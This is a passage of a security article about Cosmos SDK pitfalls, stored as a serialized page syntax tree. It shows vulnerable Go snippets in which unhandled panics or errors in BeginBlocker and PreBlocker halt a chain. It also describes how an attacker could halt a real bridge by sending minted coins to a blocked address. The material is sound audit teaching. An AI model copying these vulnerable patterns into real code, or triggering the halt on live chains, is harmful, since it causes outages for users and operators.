tx\"",{"type":24,"tag":158,"props":82237,"children":82238},{"style":188},[82239],{"type":29,"value":235},{"type":24,"tag":158,"props":82241,"children":82243},{"class":160,"line":82242},54,[82244],{"type":24,"tag":158,"props":82245,"children":82246},{"style":188},[82247],{"type":29,"value":78793},{"type":24,"tag":158,"props":82249,"children":82251},{"class":160,"line":82250},55,[82252],{"type":24,"tag":158,"props":82253,"children":82254},{"style":188},[82255],{"type":29,"value":5010},{"type":24,"tag":158,"props":82257,"children":82259},{"class":160,"line":82258},56,[82260],{"type":24,"tag":158,"props":82261,"children":82262},{"emptyLinePlaceholder":16},[82263],{"type":29,"value":481},{"type":24,"tag":158,"props":82265,"children":82267},{"class":160,"line":82266},57,[82268,82272,82276,82280,82284,82288,82292,82296,82300],{"type":24,"tag":158,"props":82269,"children":82270},{"style":1914},[82271],{"type":29,"value":16980},{"type":24,"tag":158,"props":82273,"children":82274},{"style":496},[82275],{"type":29,"value":81401},{"type":24,"tag":158,"props":82277,"children":82278},{"style":188},[82279],{"type":29,"value":504},{"type":24,"tag":158,"props":82281,"children":82282},{"style":177},[82283],{"type":29,"value":21524},{"type":24,"tag":158,"props":82285,"children":82286},{"style":188},[82287],{"type":29,"value":191},{"type":24,"tag":158,"props":82289,"children":82290},{"style":177},[82291],{"type":29,"value":80459},{"type":24,"tag":158,"props":82293,"children":82294},{"style":188},[82295],{"type":29,"value":191},{"type":24,"tag":158,"props":82297,"children":82298},{"style":177},[82299],{"type":29,"value":81339},{"type":24,"tag":158,"props":82301,"children":82302},{"style":188},[82303],{"type":29,"value":2125},{"type":24,"tag":158,"props":82305,"children":82307},{"class":160,"line":82306},58,[82308],{"type":24,"tag":158,"props":82309,"children":82310},{"style":188},[82311],{"type":29,"value":3967},{"type":24,"tag":158,"props":82313,"children":82315},{"class":160,"line":82314},59,[82316],{"type":24,"tag":158,"props":82317,"children":82318},{"style":188},[82319],{"type":29,"value":307},{"type":24,"tag":25,"props":82321,"children":82322},{},[82323,82325,82330,82332,82339,82340,82347],{"type":29,"value":82324},"Additional examples of incorrect ",{"type":24,"tag":154,"props":82326,"children":82328},{"className":82327},[],[82329],{"type":29,"value":79748},{"type":29,"value":82331}," usage include ",{"type":24,"tag":101,"props":82333,"children":82336},{"href":82334,"rel":82335},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[105],[82337],{"type":29,"value":82338},"yet more bypassable checks and loss of funds",{"type":29,"value":1826},{"type":24,"tag":101,"props":82341,"children":82344},{"href":82342,"rel":82343},"https://github.com/cosmos/ibc-go/issues/853",[105],[82345],{"type":29,"value":82346},"incorrect data passing between blockchains",{"type":29,"value":347},{"type":24,"tag":59,"props":82349,"children":82351},{"id":82350},"errors-panics-i-can-handle-it",[82352],{"type":29,"value":82353},"Errors? Panics? I can handle it",{"type":24,"tag":25,"props":82355,"children":82356},{},[82357],{"type":29,"value":82358},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":24,"tag":25,"props":82360,"children":82361},{},[82362],{"type":29,"value":82363},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":24,"tag":25,"props":82365,"children":82366},{},[82367,82369,82375,82377,82382],{"type":29,"value":82368},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":24,"tag":154,"props":82370,"children":82372},{"className":82371},[],[82373],{"type":29,"value":82374},"k.keeper.TotalReward()",{"type":29,"value":82376}," returns zero, the ",{"type":24,"tag":154,"props":82378,"children":82380},{"className":82379},[],[82381],{"type":29,"value":59219},{"type":29,"value":82383}," execution will simply rollback as if nothing has happened.",{"type":24,"tag":147,"props":82385,"children":82387},{"code":82386,"language":77442,"meta":7,"className":77443,"style":7},"func (k msgServer) AllocateReward(\n goCtx context.Context,\n msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n RewardPerShare := k.keeper.Shares() / k.keeper.TotalReward()\n k.keeper.DistributeReward(RewardPerShare)\n\n return &types.MsgAllocateRewardResponse, nil\n}\n",[82388],{"type":24,"tag":154,"props":82389,"children":82390},{"__ignoreMap":7},[82391,82424,82447,82475,82511,82518,82587,82625,82632,82664],{"type":24,"tag":158,"props":82392,"children":82393},{"class":160,"line":161},[82394,82398,82402,82407,82411,82415,82420],{"type":24,"tag":158,"props":82395,"children":82396},{"style":165},[82397],{"type":29,"value":77578},{"type":24,"tag":158,"props":82399,"children":82400},{"style":188},[82401],{"type":29,"value":2262},{"type":24,"tag":158,"props":82403,"children":82404},{"style":177},[82405],{"type":29,"value":82406},"k ",{"type":24,"tag":158,"props":82408,"children":82409},{"style":171},[82410],{"type":29,"value":77592},{"type":24,"tag":158,"props":82412,"children":82413},{"style":188},[82414],{"type":29,"value":723},{"type":24,"tag":158,"props":82416,"children":82417},{"style":496},[82418],{"type":29,"value":82419},"AllocateReward",{"type":24,"tag":158,"props":82421,"children":82422},{"style":188},[82423],{"type":29,"value":2156},{"type":24,"tag":158,"props":82425,"children":82426},{"class":160,"line":213},[82427,82431,82435,82439,82443],{"type":24,"tag":158,"props":82428,"children":82429},{"style":177},[82430],{"type":29,"value":77613},{"type":24,"tag":158,"props":82432,"children":82433},{"style":171},[82434],{"type":29,"value":77618},{"type":24,"tag":158,"props":82436,"children":82437},{"style":188},[82438],{"type":29,"value":347},{"type":24,"tag":158,"props":82440,"children":82441},{"style":171},[82442],{"type":29,"value":77627},{"type":24,"tag":158,"props":82444,"children":82445},{"style":188},[82446],{"type":29,"value":235},{"type":24,"tag":158,"props":82448,"children":82449},{"class":160,"line":238},[82450,82454,82458,82462,82466,82471],{"type":24,"tag":158,"props":82451,"children":82452},{"style":177},[82453],{"type":29,"value":77639},{"type":24,"tag":158,"props":82455,"children":82456},{"style":222},[82457],{"type":29,"value":615},{"type":24,"tag":158,"props":82459,"children":82460},{"style":171},[82461],{"type":29,"value":7411},{"type":24,"tag":158,"props":82463,"children":82464},{"style":188},[82465],{"type":29,"value":347},{"type":24,"tag":158,"props":82467,"children":82468},{"style":171},[82469],{"type":29,"value":82470},"MsgAllocateReward",{"type":24,"tag":158,"props":82472,"children":82473},{"style":188},[82474],{"type":29,"value":2125},{"type":24,"tag":158,"props":82476,"children":82477},{"class":160,"line":259},[82478,82482,82486,82490,82494,82499,82503,82507],{"type":24,"tag":158,"props":82479,"children":82480},{"style":188},[82481],{"type":29,"value":504},{"type":24,"tag":158,"props":82483,"children":82484},{"style":222},[82485],{"type":29,"value":577},{"type":24,"tag":158,"props":82487,"children":82488},{"style":171},[82489],{"type":29,"value":7411},{"type":24,"tag":158,"props":82491,"children":82492},{"style":188},[82493],{"type":29,"value":347},{"type":24,"tag":158,"props":82495,"children":82496},{"style":171},[82497],{"type":29,"value":82498},"MsgAllocatRewardResponse",{"type":24,"tag":158,"props":82500,"children":82501},{"style":188},[82502],{"type":29,"value":191},{"type":24,"tag":158,"props":82504,"children":82505},{"style":171},[82506],{"type":29,"value":16098},{"type":24,"tag":158,"props":82508,"children":82509},{"style":188},[82510],{"type":29,"value":16038},{"type":24,"tag":158,"props":82512,"children":82513},{"class":160,"line":280},[82514],{"type":24,"tag":158,"props":82515,"children":82516},{"emptyLinePlaceholder":16},[82517],{"type":29,"value":481},{"type":24,"tag":158,"props":82519,"children":82520},{"class":160,"line":301},[82521,82526,82530,82535,82539,82544,82548,82553,82557,82561,82566,82570,82574,82578,82583],{"type":24,"tag":158,"props":82522,"children":82523},{"style":177},[82524],{"type":29,"value":82525}," RewardPerShare",{"type":24,"tag":158,"props":82527,"children":82528},{"style":222},[82529],{"type":29,"value":77694},{"type":24,"tag":158,"props":82531,"children":82532},{"style":177},[82533],{"type":29,"value":82534}," k",{"type":24,"tag":158,"props":82536,"children":82537},{"style":188},[82538],{"type":29,"value":347},{"type":24,"tag":158,"props":82540,"children":82541},{"style":177},[82542],{"type":29,"value":82543},"keeper",{"type":24,"tag":158,"props":82545,"children":82546},{"style":188},[82547],{"type":29,"value":347},{"type":24,"tag":158,"props":82549,"children":82550},{"style":496},[82551],{"type":29,"value":82552},"Shares",{"type":24,"tag":158,"props":82554,"children":82555},{"style":188},[82556],{"type":29,"value":15277},{"type":24,"tag":158,"props":82558,"children":82559},{"style":222},[82560],{"type":29,"value":6238},{"type":24,"tag":158,"props":82562,"children":82563},{"style":177},[82564],{"type":29,"value":82565}," k",{"type":24,"tag":158,"props":82567,"children":82568},{"style":188},[82569],{"type":29,"value":347},{"type":24,"tag":158,"props":82571,"children":82572},{"style":177},[82573],{"type":29,"value":82543},{"type":24,"tag":158,"props":82575,"children":82576},{"style":188},[82577],{"type":29,"value":347},{"type":24,"tag":158,"props":82579,"children":82580},{"style":496},[82581],{"type":29,"value":82582},"TotalReward",{"type":24,"tag":158,"props":82584,"children":82585},{"style":188},[82586],{"type":29,"value":9376},{"type":24,"tag":158,"props":82588,"children":82589},{"class":160,"line":626},[82590,82595,82599,82603,82607,82612,82616,82621],{"type":24,"tag":158,"props":82591,"children":82592},{"style":177},[82593],{"type":29,"value":82594}," k",{"type":24,"tag":158,"props":82596,"children":82597},{"style":188},[82598],{"type":29,"value":347},{"type":24,"tag":158,"props":82600,"children":82601},{"style":177},[82602],{"type":29,"value":82543},{"type":24,"tag":158,"props":82604,"children":82605},{"style":188},[82606],{"type":29,"value":347},{"type":24,"tag":158,"props":82608,"children":82609},{"style":496},[82610],{"type":29,"value":82611},"DistributeReward",{"type":24,"tag":158,"props":82613,"children":82614},{"style":188},[82615],{"type":29,"value":504},{"type":24,"tag":158,"props":82617,"children":82618},{"style":177},[82619],{"type":29,"value":82620},"RewardPerShare",{"type":24,"tag":158,"props":82622,"children":82623},{"style":188},[82624],{"type":29,"value":2125},{"type":24,"tag":158,"props":82626,"children":82627},{"class":160,"line":668},[82628],{"type":24,"tag":158,"props":82629,"children":82630},{"emptyLinePlaceholder":16},[82631],{"type":29,"value":481},{"type":24,"tag":158,"props":82633,"children":82634},{"class":160,"line":676},[82635,82639,82643,82647,82651,82656,82660],{"type":24,"tag":158,"props":82636,"children":82637},{"style":1914},[82638],{"type":29,"value":18227},{"type":24,"tag":158,"props":82640,"children":82641},{"style":222},[82642],{"type":29,"value":8784},{"type":24,"tag":158,"props":82644,"children":82645},{"style":177},[82646],{"type":29,"value":7411},{"type":24,"tag":158,"props":82648,"children":82649},{"style":188},[82650],{"type":29,"value":347},{"type":24,"tag":158,"props":82652,"children":82653},{"style":177},[82654],{"type":29,"value":82655},"MsgAllocateRewardResponse",{"type":24,"tag":158,"props":82657,"children":82658},{"style":188},[82659],{"type":29,"value":191},{"type":24,"tag":158,"props":82661,"children":82662},{"style":165},[82663],{"type":29,"value":77920},{"type":24,"tag":158,"props":82665,"children":82666},{"class":160,"line":684},[82667],{"type":24,"tag":158,"props":82668,"children":82669},{"style":188},[82670],{"type":29,"value":307},{"type":24,"tag":25,"props":82672,"children":82673},{},[82674,82676,82682,82683,82689,82690,82696,82698,82703],{"type":29,"value":82675},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":24,"tag":154,"props":82677,"children":82679},{"className":82678},[],[82680],{"type":29,"value":82681},"PreBlocker",{"type":29,"value":191},{"type":24,"tag":154,"props":82684,"children":82686},{"className":82685},[],[82687],{"type":29,"value":82688},"BeginBlocker",{"type":29,"value":8136},{"type":24,"tag":154,"props":82691,"children":82693},{"className":82692},[],[82694],{"type":29,"value":82695},"EndBlocker",{"type":29,"value":82697},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":24,"tag":154,"props":82699,"children":82701},{"className":82700},[],[82702],{"type":29,"value":82688},{"type":29,"value":82704}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":24,"tag":147,"props":82706,"children":82708},{"code":82707,"language":77442,"meta":7,"className":77443,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n RewardPerShare := keeper.Shares() / keeper.TotalReward()\n keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[82709],{"type":24,"tag":154,"props":82710,"children":82711},{"__ignoreMap":7},[82712,82777,82784,82832,82860,82867,82879],{"type":24,"tag":158,"props":82713,"children":82714},{"class":160,"line":161},[82715,82719,82724,82728,82732,82736,82740,82744,82748,82752,82757,82761,82765,82769,82773],{"type":24,"tag":158,"props":82716,"children":82717},{"style":165},[82718],{"type":29,"value":77578},{"type":24,"tag":158,"props":82720,"children":82721},{"style":496},[82722],{"type":29,"value":82723}," BeginBlocker",{"type":24,"tag":158,"props":82725,"children":82726},{"style":188},[82727],{"type":29,"value":504},{"type":24,"tag":158,"props":82729,"children":82730},{"style":177},[82731],{"type":29,"value":21524},{"type":24,"tag":158,"props":82733,"children":82734},{"style":171},[82735],{"type":29,"value":77618},{"type":24,"tag":158,"props":82737,"children":82738},{"style":188},[82739],{"type":29,"value":347},{"type":24,"tag":158,"props":82741,"children":82742},{"style":171},[82743],{"type":29,"value":77627},{"type":24,"tag":158,"props":82745,"children":82746},{"style":188},[82747],{"type":29,"value":191},{"type":24,"tag":158,"props":82749,"children":82750},{"style":177},[82751],{"type":29,"value":82543},{"type":24,"tag":158,"props":82753,"children":82754},{"style":171},[82755],{"type":29,"value":82756}," keeper",{"type":24,"tag":158,"props":82758,"children":82759},{"style":188},[82760],{"type":29,"value":347},{"type":24,"tag":158,"props":82762,"children":82763},{"style":171},[82764],{"type":29,"value":81223},{"type":24,"tag":158,"props":82766,"children":82767},{"style":188},[82768],{"type":29,"value":723},{"type":24,"tag":158,"props":82770,"children":82771},{"style":171},[82772],{"type":29,"value":16098},{"type":24,"tag":158,"props":82774,"children":82775},{"style":188},[82776],{"type":29,"value":210},{"type":24,"tag":158,"props":82778,"children":82779},{"class":160,"line":213},[82780],{"type":24,"tag":158,"props":82781,"children":82782},{"emptyLinePlaceholder":16},[82783],{"type":29,"value":481},{"type":24,"tag":158,"props":82785,"children":82786},{"class":160,"line":238},[82787,82791,82795,82799,82803,82807,82811,82815,82820,82824,82828],{"type":24,"tag":158,"props":82788,"children":82789},{"style":177},[82790],{"type":29,"value":82525},{"type":24,"tag":158,"props":82792,"children":82793},{"style":222},[82794],{"type":29,"value":77694},{"type":24,"tag":158,"props":82796,"children":82797},{"style":177},[82798],{"type":29,"value":82756},{"type":24,"tag":158,"props":82800,"children":82801},{"style":188},[82802],{"type":29,"value":347},{"type":24,"tag":158,"props":82804,"children":82805},{"style":496},[82806],{"type":29,"value":82552},{"type":24,"tag":158,"props":82808,"children":82809},{"style":188},[82810],{"type":29,"value":15277},{"type":24,"tag":158,"props":82812,"children":82813},{"style":222},[82814],{"type":29,"value":6238},{"type":24,"tag":158,"props":82816,"children":82817},{"style":177},[82818],{"type":29,"value":82819}," keeper",{"type":24,"tag":158,"props":82821,"children":82822},{"style":188},[82823],{"type":29,"value":347},{"type":24,"tag":158,"props":82825,"children":82826},{"style":496},[82827],{"type":29,"value":82582},{"type":24,"tag":158,"props":82829,"children":82830},{"style":188},[82831],{"type":29,"value":9376},{"type":24,"tag":158,"props":82833,"children":82834},{"class":160,"line":259},[82835,82840,82844,82848,82852,82856],{"type":24,"tag":158,"props":82836,"children":82837},{"style":177},[82838],{"type":29,"value":82839}," keeper",{"type":24,"tag":158,"props":82841,"children":82842},{"style":188},[82843],{"type":29,"value":347},{"type":24,"tag":158,"props":82845,"children":82846},{"style":496},[82847],{"type":29,"value":82611},{"type":24,"tag":158,"props":82849,"children":82850},{"style":188},[82851],{"type":29,"value":504},{"type":24,"tag":158,"props":82853,"children":82854},{"style":177},[82855],{"type":29,"value":82620},{"type":24,"tag":158,"props":82857,"children":82858},{"style":188},[82859],{"type":29,"value":2125},{"type":24,"tag":158,"props":82861,"children":82862},{"class":160,"line":280},[82863],{"type":24,"tag":158,"props":82864,"children":82865},{"emptyLinePlaceholder":16},[82866],{"type":29,"value":481},{"type":24,"tag":158,"props":82868,"children":82869},{"class":160,"line":301},[82870,82874],{"type":24,"tag":158,"props":82871,"children":82872},{"style":1914},[82873],{"type":29,"value":54138},{"type":24,"tag":158,"props":82875,"children":82876},{"style":165},[82877],{"type":29,"value":82878}," nil\n",{"type":24,"tag":158,"props":82880,"children":82881},{"class":160,"line":626},[82882],{"type":24,"tag":158,"props":82883,"children":82884},{"style":188},[82885],{"type":29,"value":307},{"type":24,"tag":395,"props":82887,"children":82889},{"id":82888},"real-world-examples-3",[82890],{"type":29,"value":77967},{"type":24,"tag":25,"props":82892,"children":82893},{},[82894],{"type":29,"value":82895},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":24,"tag":25,"props":82897,"children":82898},{},[82899,82901,82907,82909,82914,82916,82922,82924,82930,82932,82938],{"type":29,"value":82900},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":24,"tag":154,"props":82902,"children":82904},{"className":82903},[],[82905],{"type":29,"value":82906},"bankKeeper.SendCoinsFromModuleToAccount",{"type":29,"value":82908}," will be bubbled up through ",{"type":24,"tag":154,"props":82910,"children":82912},{"className":82911},[],[82913],{"type":29,"value":82681},{"type":29,"value":82915}," and halt the chain. It turns out an attacker can force ",{"type":24,"tag":154,"props":82917,"children":82919},{"className":82918},[],[82920],{"type":29,"value":82921},"SendCoinsFromModuleToAccount",{"type":29,"value":82923}," to return an error by setting ",{"type":24,"tag":154,"props":82925,"children":82927},{"className":82926},[],[82928],{"type":29,"value":82929},"recipient",{"type":29,"value":82931}," to some ",{"type":24,"tag":154,"props":82933,"children":82935},{"className":82934},[],[82936],{"type":29,"value":82937},"BlockedAddr",{"type":29,"value":82939},",rendering the code susceptible to DoS attacks.",{"type":24,"tag":25,"props":82941,"children":82942},{},[82943],{"type":24,"tag":101,"props":82944,"children":82947},{"href":82945,"rel":82946},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[105],[82948],{"type":29,"value":78017},{"type":24,"tag":147,"props":82950,"children":82952},{"code":82951,"language":77442,"meta":7,"className":77443,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n return func(\n ctx sdk.Context,\n req *cmtabci.RequestFinalizeBlock,\n ) (*sdk.ResponsePreBlock, error) {\n ...\n err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n if err != nil {\n return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n }\n ...\n }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n ctx sdk.Context,\n events types.AssetsLockedEvents,\n) error {\n ...\n for _, event := range events {\n recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n if err != nil {\n return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n }\n\n if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n err = k.mintBTC(ctx, recipient, event.Amount)\n if err != nil {\n return fmt.Errorf(\n \"failed to mint BTC for event %v: %w\",\n event.Sequence,\n err,\n )\n }\n } else {\n ...\n }\n }\n ...\n}\n\nfunc (k Keeper) mintBTC(\n ctx sdk.Context,\n recipient sdk.AccAddress,\n amount math.Int,\n) error {\n ...\n err = k.bankKeeper.SendCoinsFromModuleToAccount(\n ctx,\n types.ModuleName,\n recipient,\n coins,\n )\n if err != nil {\n return fmt.Errorf(\"failed to send coins: %w\", err)\n }\n ...\n}\n",[82953],{"type":24,"tag":154,"props":82954,"children":82955},{"__ignoreMap":7},[82956,83009,83024,83047,83077,83113,83121,83177,83201,83251,83258,83265,83272,83279,83286,83317,83340,83365,83380,83387,83424,83478,83501,83542,83549,83556,83607,83668,83691,83714,83726,83747,83759,83767,83774,83789,83797,83804,83811,83818,83825,83832,83863,83886,83911,83936,83951,83958,83995,84006,84027,84038,84050,84057,84080,84120,84127,84134],{"type":24,"tag":158,"props":82957,"children":82958},{"class":160,"line":161},[82959,82963,82967,82972,82976,82981,82985,82989,82993,82997,83001,83005],{"type":24,"tag":158,"props":82960,"children":82961},{"style":165},[82962],{"type":29,"value":77578},{"type":24,"tag":158,"props":82964,"children":82965},{"style":188},[82966],{"type":29,"value":2262},{"type":24,"tag":158,"props":82968,"children":82969},{"style":177},[82970],{"type":29,"value":82971},"pbh ",{"type":24,"tag":158,"props":82973,"children":82974},{"style":222},[82975],{"type":29,"value":577},{"type":24,"tag":158,"props":82977,"children":82978},{"style":171},[82979],{"type":29,"value":82980},"PreBlockHandler",{"type":24,"tag":158,"props":82982,"children":82983},{"style":188},[82984],{"type":29,"value":723},{"type":24,"tag":158,"props":82986,"children":82987},{"style":496},[82988],{"type":29,"value":82681},{"type":24,"tag":158,"props":82990,"children":82991},{"style":188},[82992],{"type":29,"value":15277},{"type":24,"tag":158,"props":82994,"children":82995},{"style":171},[82996],{"type":29,"value":80008},{"type":24,"tag":158,"props":82998,"children":82999},{"style":188},[83000],{"type":29,"value":347},{"type":24,"tag":158,"props":83002,"children":83003},{"style":171},[83004],{"type":29,"value":82681},{"type":24,"tag":158,"props":83006,"children":83007},{"style":188},[83008],{"type":29,"value":210},{"type":24,"tag":158,"props":83010,"children":83011},{"class":160,"line":213},[83012,83016,83020],{"type":24,"tag":158,"props":83013,"children":83014},{"style":1914},[83015],{"type":29,"value":18227},{"type":24,"tag":158,"props":83017,"children":83018},{"style":165},[83019],{"type":29,"value":81287},{"type":24,"tag":158,"props":83021,"children":83022},{"style":188},[83023],{"type":29,"value":2156},{"type":24,"tag":158,"props":83025,"children":83026},{"class":160,"line":238},[83027,83031,83035,83039,83043],{"type":24,"tag":158,"props":83028,"children":83029},{"style":177},[83030],{"type":29,"value":27443},{"type":24,"tag":158,"props":83032,"children":83033},{"style":171},[83034],{"type":29,"value":79919},{"type":24,"tag":158,"props":83036,"children":83037},{"style":188},[83038],{"type":29,"value":347},{"type":24,"tag":158,"props":83040,"children":83041},{"style":171},[83042],{"type":29,"value":77627},{"type":24,"tag":158,"props":83044,"children":83045},{"style":188},[83046],{"type":29,"value":235},{"type":24,"tag":158,"props":83048,"children":83049},{"class":160,"line":259},[83050,83055,83059,83064,83068,83073],{"type":24,"tag":158,"props":83051,"children":83052},{"style":177},[83053],{"type":29,"value":83054}," req",{"type":24,"tag":158,"props":83056,"children":83057},{"style":222},[83058],{"type":29,"value":615},{"type":24,"tag":158,"props":83060,"children":83061},{"style":171},[83062],{"type":29,"value":83063},"cmtabci",{"type":24,"tag":158,"props":83065,"children":83066},{"style":188},[83067],{"type":29,"value":347},{"type":24,"tag":158,"props":83069,"children":83070},{"style":171},[83071],{"type":29,"value":83072},"RequestFinalizeBlock",{"type":24,"tag":158,"props":83074,"children":83075},{"style":188},[83076],{"type":29,"value":235},{"type":24,"tag":158,"props":83078,"children":83079},{"class":160,"line":280},[83080,83084,83088,83092,83096,83101,83105,83109],{"type":24,"tag":158,"props":83081,"children":83082},{"style":188},[83083],{"type":29,"value":81355},{"type":24,"tag":158,"props":83085,"children":83086},{"style":222},[83087],{"type":29,"value":577},{"type":24,"tag":158,"props":83089,"children":83090},{"style":171},[83091],{"type":29,"value":80008},{"type":24,"tag":158,"props":83093,"children":83094},{"style":188},[83095],{"type":29,"value":347},{"type":24,"tag":158,"props":83097,"children":83098},{"style":171},[83099],{"type":29,"value":83100},"ResponsePreBlock",{"type":24,"tag":158,"props":83102,"children":83103},{"style":188},[83104],{"type":29,"value":191},{"type":24,"tag":158,"props":83106,"children":83107},{"style":171},[83108],{"type":29,"value":16098},{"type":24,"tag":158,"props":83110,"children":83111},{"style":188},[83112],{"type":29,"value":16038},{"type":24,"tag":158,"props":83114,"children":83115},{"class":160,"line":301},[83116],{"type":24,"tag":158,"props":83117,"children":83118},{"style":222},[83119],{"type":29,"value":83120}," ...\n",{"type":24,"tag":158,"props":83122,"children":83123},{"class":160,"line":626},[83124,83129,83133,83138,83142,83147,83151,83156,83160,83164,83168,83173],{"type":24,"tag":158,"props":83125,"children":83126},{"style":177},[83127],{"type":29,"value":83128}," err",{"type":24,"tag":158,"props":83130,"children":83131},{"style":222},[83132],{"type":29,"value":77694},{"type":24,"tag":158,"props":83134,"children":83135},{"style":177},[83136],{"type":29,"value":83137}," pbh",{"type":24,"tag":158,"props":83139,"children":83140},{"style":188},[83141],{"type":29,"value":347},{"type":24,"tag":158,"props":83143,"children":83144},{"style":177},[83145],{"type":29,"value":83146},"bridgeKeeper",{"type":24,"tag":158,"props":83148,"children":83149},{"style":188},[83150],{"type":29,"value":347},{"type":24,"tag":158,"props":83152,"children":83153},{"style":496},[83154],{"type":29,"value":83155},"AcceptAssetsLocked",{"type":24,"tag":158,"props":83157,"children":83158},{"style":188},[83159],{"type":29,"value":504},{"type":24,"tag":158,"props":83161,"children":83162},{"style":177},[83163],{"type":29,"value":21524},{"type":24,"tag":158,"props":83165,"children":83166},{"style":188},[83167],{"type":29,"value":191},{"type":24,"tag":158,"props":83169,"children":83170},{"style":177},[83171],{"type":29,"value":83172},"events",{"type":24,"tag":158,"props":83174,"children":83175},{"style":188},[83176],{"type":29,"value":2125},{"type":24,"tag":158,"props":83178,"children":83179},{"class":160,"line":668},[83180,83184,83188,83192,83197],{"type":24,"tag":158,"props":83181,"children":83182},{"style":1914},[83183],{"type":29,"value":4936},{"type":24,"tag":158,"props":83185,"children":83186},{"style":177},[83187],{"type":29,"value":49792},{"type":24,"tag":158,"props":83189,"children":83190},{"style":222},[83191],{"type":29,"value":65661},{"type":24,"tag":158,"props":83193,"children":83194},{"style":165},[83195],{"type":29,"value":83196}," nil",{"type":24,"tag":158,"props":83198,"children":83199},{"style":188},[83200],{"type":29,"value":210},{"type":24,"tag":158,"props":83202,"children":83203},{"class":160,"line":676},[83204,83208,83212,83216,83221,83225,83230,83234,83239,83243,83247],{"type":24,"tag":158,"props":83205,"children":83206},{"style":1914},[83207],{"type":29,"value":80354},{"type":24,"tag":158,"props":83209,"children":83210},{"style":165},[83211],{"type":29,"value":83196},{"type":24,"tag":158,"props":83213,"children":83214},{"style":188},[83215],{"type":29,"value":191},{"type":24,"tag":158,"props":83217,"children":83218},{"style":177},[83219],{"type":29,"value":83220},"fmt",{"type":24,"tag":158,"props":83222,"children":83223},{"style":188},[83224],{"type":29,"value":347},{"type":24,"tag":158,"props":83226,"children":83227},{"style":496},[83228],{"type":29,"value":83229},"Errorf",{"type":24,"tag":158,"props":83231,"children":83232},{"style":188},[83233],{"type":29,"value":504},{"type":24,"tag":158,"props":83235,"children":83236},{"style":1108},[83237],{"type":29,"value":83238},"\"cannot accept AssetsLocked events: %w\"",{"type":24,"tag":158,"props":83240,"children":83241},{"style":188},[83242],{"type":29,"value":191},{"type":24,"tag":158,"props":83244,"children":83245},{"style":177},[83246],{"type":29,"value":49691},{"type":24,"tag":158,"props":83248,"children":83249},{"style":188},[83250],{"type":29,"value":2125},{"type":24,"tag":158,"props":83252,"children":83253},{"class":160,"line":684},[83254],{"type":24,"tag":158,"props":83255,"children":83256},{"style":188},[83257],{"type":29,"value":5010},{"type":24,"tag":158,"props":83259,"children":83260},{"class":160,"line":700},[83261],{"type":24,"tag":158,"props":83262,"children":83263},{"style":222},[83264],{"type":29,"value":83120},{"type":24,"tag":158,"props":83266,"children":83267},{"class":160,"line":785},[83268],{"type":24,"tag":158,"props":83269,"children":83270},{"style":188},[83271],{"type":29,"value":3967},{"type":24,"tag":158,"props":83273,"children":83274},{"class":160,"line":1447},[83275],{"type":24,"tag":158,"props":83276,"children":83277},{"style":188},[83278],{"type":29,"value":307},{"type":24,"tag":158,"props":83280,"children":83281},{"class":160,"line":1509},[83282],{"type":24,"tag":158,"props":83283,"children":83284},{"emptyLinePlaceholder":16},[83285],{"type":29,"value":481},{"type":24,"tag":158,"props":83287,"children":83288},{"class":160,"line":1527},[83289,83293,83297,83301,83305,83309,83313],{"type":24,"tag":158,"props":83290,"children":83291},{"style":165},[83292],{"type":29,"value":77578},{"type":24,"tag":158,"props":83294,"children":83295},{"style":188},[83296],{"type":29,"value":2262},{"type":24,"tag":158,"props":83298,"children":83299},{"style":177},[83300],{"type":29,"value":82406},{"type":24,"tag":158,"props":83302,"children":83303},{"style":171},[83304],{"type":29,"value":81223},{"type":24,"tag":158,"props":83306,"children":83307},{"style":188},[83308],{"type":29,"value":723},{"type":24,"tag":158,"props":83310,"children":83311},{"style":496},[83312],{"type":29,"value":83155},{"type":24,"tag":158,"props":83314,"children":83315},{"style":188},[83316],{"type":29,"value":2156},{"type":24,"tag":158,"props":83318,"children":83319},{"class":160,"line":1545},[83320,83324,83328,83332,83336],{"type":24,"tag":158,"props":83321,"children":83322},{"style":177},[83323],{"type":29,"value":21467},{"type":24,"tag":158,"props":83325,"children":83326},{"style":171},[83327],{"type":29,"value":79919},{"type":24,"tag":158,"props":83329,"children":83330},{"style":188},[83331],{"type":29,"value":347},{"type":24,"tag":158,"props":83333,"children":83334},{"style":171},[83335],{"type":29,"value":77627},{"type":24,"tag":158,"props":83337,"children":83338},{"style":188},[83339],{"type":29,"value":235},{"type":24,"tag":158,"props":83341,"children":83342},{"class":160,"line":1618},[83343,83348,83352,83356,83361],{"type":24,"tag":158,"props":83344,"children":83345},{"style":177},[83346],{"type":29,"value":83347}," 